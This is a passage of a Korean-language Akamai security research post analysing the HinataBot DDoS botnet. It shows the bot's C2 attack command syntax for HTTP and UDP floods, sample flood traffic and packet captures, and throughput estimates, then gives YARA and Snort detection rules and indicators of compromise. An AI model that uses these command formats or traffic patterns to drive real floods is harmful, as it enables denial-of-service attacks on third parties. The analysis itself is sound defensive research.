그림 27: 감염된 노드에 대한 연결을 유지하기 위해 C2를 다시 생성

HinataBot과의 상호 작용은 충분히 흥미로웠지만, 궁극적인 목표는 항상 멀웨어의 작동 상태를 관찰하고 공격 트래픽이 표적 시스템을 향해 전송될 때 어떻게 보이는지 확인하는 것이었습니다. 기본 C2 통신이 설정되었으니 공격 명령어를 자세히 알아보기 시작했습니다. 로직을 처리하고, 공격 명령어 구조를 매핑하고 있습니다.

본색을 드러낸 HinataBot

이 멀웨어의 최신 버전에는 다음과 같이 두 가지 주요 공격 방법이 있는데, 이는 HTTP 및 UDP입니다. 이전 버전에는 이 두 가지 외에도 ICMP 및 TCP Flood를 활용하는 공격 방법도 포함되어 있었는데, 이러한 방법이 제거된 이유는 확실하지 않습니다.

실제 공격 트래픽을 자세히 살펴보기 위해, 봇이 저희에게 신호를 전송할 때 임시 C2 서버를 사용해 연결을 유지했습니다. 이렇게 하면 공격 명령어에만 집중할 수 있으며 감염된 디바이스에 대한 연결을 유지할 필요가 없습니다.

광범위한 분석 및 테스트를 거친 후 결국 공격을 개시하고 전송되는 패킷의 캡처를 시작하는 데 필요한 구조와 필드를 매핑할 수 있었습니다. 멀웨어 제작자는 익명 함수, Goroutines, 채널, 작업자 풀, 대기 그룹과 같은 여러 가지 Go 규칙을 활용하기 때문에 리버스 엔지니어링하기가 조금 더 까다롭습니다. 결국에는 테스트를 거친 후 공격 명령어 구조를 알아냈습니다(그림 28).

  API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]

그림 28: 공격 명령어 구조

드디어 매핑된 기본 명령어 구조는 매우 간단합니다. 공격 명령어는 항상 API_CONNECTION_ATTACK: 으로 시작해 ATTACK_TYPE, TARGET, DURATION공격이라는 세 가지 필수 필드가 이어집니다. 그리고 udp_flood 의 경우, 네 번째 공격 UDP_OPTIONS 필드도 있습니다. 이 필드도 명령어 확인 방식으로 인해 udp_flood 공격을 실행하는 경우에 필요하지만, 이상하게도 유효할 필요는 없습니다.

공격 종류 0: http_flood

http_flood 명령어는 udp_flood 공격처럼 추가 옵션 매개변수를 사용하지 않는 것 같습니다. 네이티브 net.http Go 라이브러리에 의존하기 때문에, 이 공격에 대한 대부분의 설정 및 옵션 구문 분석은 Go 라이브러리 자체에서 직접 제공되며 TARGET 지시어를 통해 제어됩니다. 

그림 29의 공격 명령에서 저희는 http_flood (0 종류) 공격을 실행하고 있으며, 이 공격은 127.127.127.127 의 TCP/31337 로 디렉션되며 10초 동안 지속됩니다. 경로, 포트, GET 매개변수 및 프로토콜은 모두 이 표적 지시어로 추론됩니다. 포트가 제공되지 않으면 기본적으로 TCP/80이 됩니다.

  API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10 

그림 29: http_flood 공격에 대한 공격 명령어 구조

앞서 언급했듯이, 이 바이너리는 Go 자체의 net.http 라이브러리를 통해 공격을 수행합니다. 봇은 Goroutines를 통해 512명의 작업자 풀을 생성하고 각 작업자가 자체 net.http.Request 오브젝트를 생성합니다. 그림 30에서는 개별 작업자 내부에서 이러한 작업이 어떻게 작동하는지 확인할 수 있습니다.

In Figure 30, we can see a bit of how this works from inside an individual worker.  Fig. 30: Screenshot of http_flood configuring headers

먼저, 새로운 Context 오브젝트 및 새로운 RequestWithContext 클래스가 생성됩니다. 이 Context 오브젝트는 RequestWithContext 클래스에 의한 공격 동안 사용될 HTTP 헤더로 채워집니다. 이러한 헤더 중 일부는 정적이며 다른 헤더는 무작위로 표시됩니다. 그림 30에서 Rand Seed Intn 호출을 볼 수 있는데, 이 호출은 바이너리 내에서 하드 코딩된 10개의 정적 사용자 에이전트 목록에서 임의의 User-Agent 를 선택하는 데 사용됩니다. 아래에서는 http_flood 공격 중에 멀웨어에서 발생하는 트래픽을 분석하면서 어떤 헤더를 찾아야 하는지에 대해 설명하겠습니다.

  GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB

그림 31: 3 http_flood 샘플 공격 요청

시뮬레이션 공격 이벤트 중에 캡처된 HTTP 헤더에서 관찰한 몇 가지 중요한 내용을 살펴보겠습니다. 여기에는 정적 필드와 무작위 필드 모두에서 지문 채취에 대한 몇 가지 분명한 값이 있습니다. 보안팀에서 이 샘플 트래픽을 다루면 좋겠지만, 이를 멀웨어 제작자가 볼 경우 실제로 공격 기능을 개선하는 데 도움을 줄 수 있기 때문에 보안팀이 이 트래픽을 쉽게 발견하고 차단할 수 있는 이유를 저희가 설명드리기는 어렵습니다. 멀웨어 제작자에게 도움이 될 수 있는 부분을 제하고 이야기 한다면 많은 페이로드가 크기, 순서, 가치 면에서 상당히 정적이라는 정도로 설명할 수 있겠습니다. 일부 필드는 무작위이고 이런 필드에는 User-Agent (10개의 정적 사용자 에이전트 목록에서), Keep-Alive, Cookies 헤더가 포함됩니다. 또한 보안팀 직원은 그림 31의 샘플 트래픽에서 HostReferrer 헤더도 자세히 살펴야 합니다. 공격 명령어가 표적 지시어에 표적 포트를 지정하지 않으면 TCP/80 또는 TCP/443으로 기본 설정되며, 이 포트는 헤더 중 하나에 포함되지 않습니다.

  API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120 

그림 32: 추가 설정된 http_flood 공격에 대한 공격 명령어 구조

또한 Go net.http.Client 가 활용되기 때문에, 이 공격 종류의 설정은 표적 지시문을 통해 수행되며, (다재다능하고 매우 뛰어난) 라이브러리가 수행하는 모든 것을 지원할 것이라는 점에 주목할 필요가 있습니다. 여기에는 HTTPS, 리디렉션 추종, 도메인 확인, HTTP 인증 헤더 등이 포함됩니다. 그림 32의 공격 명령어에서 https:// 로 이동하면 내장된 라이브러리가 TLS, 표적 포트 443을 사용하게 되며, 저희는 표적 지시어에 user:pass@ 를 포함했기 때문에 트래픽에는 Authorization: Basic dXNlcjpwYXNz 헤더도 포함됩니다.

이 문서가 작성된 현재, 공격 요청 방법은 하드 코딩되어 있으므로 HTTP GET 요청에 제한되어 있는 것으로 보입니다.

공격 종류 1: udp_flood

udp_flood 공격 명령어 구조에는 제공된 옵션이 없는 경우에도 앞서 설명한 모든 필드가 필요합니다(그림 33). 분석 및 테스트에서는 표적 포트를 제어하는 데 사용되는 단일 옵션 필드를 식별할 수 있었습니다. 아무 옵션도 전달되지 않으면 바이너리가 공격 명령어를 구문 분석하지 못하고 경우에 따라 이 필드를 통해 전달된 값이 봇에 충돌합니다.

  API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337 

그림 33: udp_flood 공격에 대한 공격 명령어 구조

이 공격 명령어는 http_flood 변종과 약간 다르게 보이는데, 대부분 최종 매개변수에 전달된 UDP_OPTIONS 값(1531337)때문입니다. 이 매개변수는 UDP 패킷이 전송될 표적 포트를 제어합니다. 값은 실제로는 세 부분이며, 첫 번째 부분은 매개변수 종류(1), 두 번째는 값의 길이(5), 세 번째는 값 자체(31337)입니다. 

이 네 번째 매개변수가 명령어 구문 분석에 필요한 것 같지만, 값을 삭제할 수 있으며 여기에 포트 값이 제공되지 않으면 바이너리는 공격의 표적 포트로 UDP/80을 기본값으로 사용합니다. 초기에는 이 데이터가 이 방식으로 전달되기 때문에 1~9에 대한 다른 추가 설정 매개변수를 찾을 수 있다고 가정했지만, 포트 매개변수(1)만 봇을 빠져나가는 공격 트래픽에 영향을 미치는 것으로 보입니다.

The screenshot in Figure 34 shows the setup of the udp_flood socket. It utilizes Go’s net library using net.Dial to create the UDP socket. Fig. 34: Screenshot of udp_flood attack function

그림 34의 스크린샷은 udp_flood 소켓의 설정을 보여줍니다. 이것은 Go의 net 라이브러리를 활용하고 net.Dial 을 사용해 UDP 소켓을 생성합니다. 그런 다음 소켓을 공유하는 512명의 작업자를 생성하고, 각 작업자는 기간 타이머가 공유 채널을 통해 킬 명령어를 보낼 때까지 소켓을 통해 데이터를 푸시하며 루프에서 실행됩니다. 봇을 빠져나가는 UDP 패킷(그림 35)은 매우 크고(총 패킷당 65549바이트), 인터넷을 통해 피해자에게 세분화되어 들어올 가능성이 높습니다. 이 크기는 바이너리 내에서 하드 코딩되며 공격별로 공격자가 제어할 수 없습니다.

  15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length

그림 35: UDP 공격 패킷의 패킷 캡처

UDP 데이터 세그먼트에 압축된 65507바이트는 모두 null 바이트입니다(그림 36). IP ID 헤더는 공격 중에 순차적으로 증가하며 소스 포트가 일시적이지만, 플러드가 지속되는 동안 정적 상태를 유지합니다. 이는 전체 공격자 작업자 풀에서 UDP 소켓을 관리하는 net.Dial 의 부작용일 가능성이 높습니다. 또 하나 주목해야 할 것은 UDP 데이터에 대한 체크섬이 실패했다는 것입니다.

This is all likely a side effect of net.Dial managing the UDP socket across the entire attacker worker pool. One other thing to note is the failing check sums on the UDP data. Fig. 36: Verbose packet capture detail of UDP attack packet

어떻게 측정했을까요?

이 두 가지 공격 방법을 벤치마킹하기 위해 각 방법에 대해 10초 길이의 공격을 2건 실행했으며, 방법별 공격은 공격 플로우를 패킷 캡처로 보냈습니다. 그런 다음 공격 종류별로 생성된 트래픽의 전체 크기를 확인할 수 있었습니다. 

http_flood 는 3.4MB의 패킷 캡처 데이터를 생성하고 20430 건의 HTTP 요청을 전송했습니다. 요청 크기는 요청당 484~589바이트이며, 주로 User-Agent 및 Cookie 헤더 데이터의 무작위화로 인해 크기가 다릅니다. 이러한 요청 패킷 길이는 추가 헤더(Authorization Basic 데이터 등) 포함, URL 경로 및 GET 매개변수 패딩, TLS 포함에 의해서도 영향을 받으므로 이는 그냥 참고 사항으로만 생각하시기 바랍니다. 

이 공격 이벤트 동안 표적 서버도 매우 간단하고 단일한 스레드로 이루어졌음을 지적할 필요가 있습니다. 공격이 작업자 풀에 더 빠르게 응답할 수 있는 서버를 대상으로 한 경우 이러한 수치가 높아질 수 있습니다.

udp_flood 는 와이어를 통해 총 421MB의 패킷 캡처 데이터에 대해 6733개의 패킷을 생성했습니다. 이 공격에 대해 흥미로운 것은 많지 않습니다. 즉, 이 공격은 본질적으로 규모가 크며 볼륨을 밀어내는 데 적절한 역할을 하는 것 같습니다. 앞서 언급한 바와 같이, 이 공격으로 생성되는 패킷의 크기 때문에 실제 공격 이벤트 중에 피해자는 세분화된 폭증 상황을 보게 될 것입니다.

10초 분량의 샘플 집합과 이론화된 크기의 봇넷을 사용해 공격 규모 추정을 시작할 수 있습니다. 봇넷에 1000개의 노드만 포함된 경우 UDP Flood는 초당 약 336Gbps에 달합니다. 10000개 노드(최대 규모인 Mirai 크기의 약 6.9%)를 사용하는 UDP Flood는 3.3Tbps를 넘습니다. 1000개의 노드에서 발생하는 HTTP 플러딩은 약 2.7Gbps를 생성하고 2Mrps를 초과하는 수치를 유발합니다. 노드가 10000개일 경우 이 수치는 27Gbps로 증가하면서 20.4Mrps를 전송합니다.

이러한 이론화된 기능은 참여하게 될 다양한 서버 종류, 해당 대역폭, 하드웨어 기능 등을 고려하지 않은 것이 명백합니다. 저희 팀이 실제 규모에서 봇넷을 해결해야 하기 전에 HinataBot 제작자가 새로운 분야에 관심을 가지기를 바랄 뿐입니다.

결론

HinataBot은 특히 봇넷과 관련해 발전하는 위협 환경의 최신 사례입니다. 멀웨어 제작자는 구축 방법, 언어, 배포 방법을 지속적으로 혁신하고 있습니다. Mirai 내에서 사용되는 기술과 같이 오래된 검증된 기술을 바탕으로 공격자들은 탐지를 피하고 지속적으로 발전하며 새로운 기능을 추가하는 부분을 선별하는 데 더 집중할 수 있습니다.  

HinataBot과 같이 새롭게 등장하는 위협을 지속적으로 탐구하고 분석함으로써 공격자의 기법, 기술, 절차를 더 잘 이해하고 그에 대한 보다 강력한 방어 체계를 개발할 수 있습니다. HinataBot 제품군은 오래된 취약점에 의존하며, 취약한 비밀번호를 무차별 대입해 배포합니다. 이는 강력한 비밀번호 및 패치 정책이 그 어느 때보다 중요한 이유를 보여주는 또 다른 예입니다. 공격자들은 항상 투자 수익률이 높고 결과를 보기 쉬운 대상을 찾고 있으므로 공격이 성공하기 어려운 상황을 만들면 환경과 인터넷을 안전하게 유지하는 데 큰 도움이 됩니다. 

지금은 HinataBot이 겨우 시작하는 시점일 가능성이 높습니다. Akamai SIRT는 시간에 따른 발전을 지속적으로 모니터링하고, 필요하면 새로운 결과를 보고하겠습니다.

Akamai 고객은 이 봇넷이 지원하는 두 가지 공격 기능으로부터 보호됩니다.

  1. Akamai는 UDP, TCP, ICMP 플러드를 포함한 엣지에서 비 HTTP 공격을 투명하게 방어합니다.

  2. Akamai App & API Protector는 Akamai Client Reputation, 전송률 제어, Akamai Bot Manager, 웹 애플리케이션 방화벽 룰을 통해 이와 같은 L7 웹 애플리케이션 공격을 자동으로 방어합니다.

이 봇넷을 방어하는 방법에 대한 추가 질문이 있는 경우 Akamai 고객 담당팀으로 자세한 내용을 문의하시기 바랍니다.

IOC

YARA 룰

  • HinataBot 바이너리

  rule detect_hinatabot_strings {
    Meta:
                 description = "This rule detects HinataBot binaries."
        confidence = "high"
    strings:
        $s1 = "HINATA_START_NICE"
        $s2 = "API_CONNECT_BOT"
        $s3 = "Connection to CNC is OK!"
        $s4 = "API_CONNECTION_SIGNAL_CHECK"
        $s5 = "API_CONNECTION_SIGNAL_OK"
        $s6 = "API_CONNECTION_ATTACK"
        $s7 = "Hinata already running"
        $s8 = "API_CONNECTION_KILL_ALL"
        $s9 = "hinata_exists"
        $s10 = "hinata_loaded"
        $s11 = "HINATA_"
    condition:
        3 of ($s*)
}
  • HinataBot 감염자 스크립트

  rule detect_malicious_files {
    meta:
	   description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
	   confidence = "high"
    strings:
        $file_names = /hinata-[a-z\.0-9]+/
    condition:
        all of them
}

스노트 룰

  • http_flood

  alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server;  sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
  • C2 서버로부터의 통신

  alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
  • C2 서버로의 통신

  alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)

IP

  • 77.73.131.247
    
  • 156.236.16.237
    
  • 185.112.83.254
    

포트

  • 61420
    
  • 1420
    

CVE

  • CVE-2017-17215
    
  • CVE-2014-8361
    

파일 이름

  • tftp.sh
    
  • wget.sh
    
  • hinata-linux.amd64
    
  • hinata-windows-arm5
    
  • hinata-plan9-arm5
    
  • hinata-openbsd-arm5
    
  • hinata-netbsd-arm5
    
  • hinata-linux-arm5
    
  • hinata-freebsd-arm5
    
  • hinata-windows-arm7
    
  • hinata-windows-arm64.exe
    
  • hinata-windows-arm6
    
  • hinata-windows-arm
    
  • hinata-windows-amd64.exe
    
  • hinata-windows-386.exe
    
  • hinata-solaris-amd64
    
  • hinata-plan9-arm7
    
  • hinata-plan9-arm6
    
  • hinata-plan9-arm
    
  • hinata-plan9-amd64
    
  • hinata-plan9-386
    
  • hinata-openbsd-mips64
    
  • hinata-openbsd-arm7
    
  • hinata-openbsd-arm64
    
  • hinata-openbsd-arm6
    
  • hinata-openbsd-arm
    
  • hinata-openbsd-amd64
    
  • hinata-openbsd-386
    
  • hinata-netbsd-arm7
    
  • hinata-netbsd-arm64
    
  • hinata-netbsd-arm6
    
  • hinata-netbsd-arm
    
  • hinata-netbsd-amd64
    
  • hinata-netbsd-386
    
  • hinata-linux-s390x
    
  • hinata-linux-riscv64
    
  • hinata-linux-ppc64le
    
  • hinata-linux-ppc64
    
  • hinata-linux-mipsle
    
  • hinata-linux-mips64le
    
  • hinata-linux-mips64
    
  • hinata-linux-mips
    
  • hinata-linux-arm7
    
  • hinata-linux-arm64
    
  • hinata-linux-arm6
    
  • hinata-linux-arm
    
  • hinata-linux-amd64
    
  • hinata-linux-386
    
  • hinata-js-wasm
    
  • hinata-illumos-amd64
    
  • hinata-freebsd-arm7
    
  • hinata-freebsd-arm64
    
  • hinata-freebsd-arm6
    
  • hinata-freebsd-arm
    
  • hinata-freebsd-amd64
    
  • hinata-freebsd-386
    
  • hinata-dragonfly-amd64
    
  • hinata-darwin-arm64
    
  • hinata-darwin-amd64
    
  • hinata-android-arm64
    
  • hinata-aix-ppc64
    

최근 해시

  • 01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
    
  • 1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
    
  • 8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
    
  • 4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
    
  • 71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
    
  • c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
    
  • 92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
    
  • 8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
    
  • ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
    
  • a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
    
  • 9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
    
  • 6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
    
  • C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
    
  • 5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
    
  • 845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
    
  • 995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
    
  • 07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
    
  • 61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
    
  • 75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
    
  • E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67
    


Akamai Wave Blue

에 의해 작성

Chad Seaman, Larry Cashdollar, 그리고 Allen West

March 16, 2023

Chad Seaman headshot

에 의해 작성

Chad Seaman

채드 시먼(Chad Seaman)은 Akamai 보안 인텔리전스 대응팀의 수석 보안 연구원이자 팀장입니다. 자랑스럽게 자신을 '인터넷 쓰레기 처리장 다이버'라고 부르며, 인터넷에서 발견한 먼지와 진흙탕을 샅샅이 뒤지는 것이 취미입니다. 채드는 프로그래머로 경력을 쌓기 시작했으며 유출 조사를 통해 보안, 악용, 포렌식 분야를 접한 후 보안에 빠르게 심취하게 되었습니다. 요즘은 멀웨어 조사, 리버스 엔지니어링, 취약점 리서치, DDoS, 사이버 범죄 조사에 많은 시간을 할애하고 있습니다. 채드는 여가 시간에 비행기를 날리고, 먼 거리에서 종이에 구멍을 뚫고, 자연에서 시간을 보내며, 오프로드 자전거로 숲과 산책로를 달리는 것을 특히 좋아합니다.

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.

Allen West

에 의해 작성

Allen West

앨런 웨스트는 Akamai 보안 인텔리전스 대응팀의 보안 연구원으로 위협 조사와 툴 구축을 즐깁니다. 현재 카네기 멜론 대학교에서 정보 보안 및 보증 석사 학위를 취득하고 있습니다. 그는 노스이스턴 대학교에서 사이버 보안 학부 학위를 받았으며 해병대 복무 경력이 있습니다. 앨런은 자유시간 동안 여행, 하이킹, 수영을 좋아하며, 야외에서 모험을 즐기는 모든 것을 좋아합니다.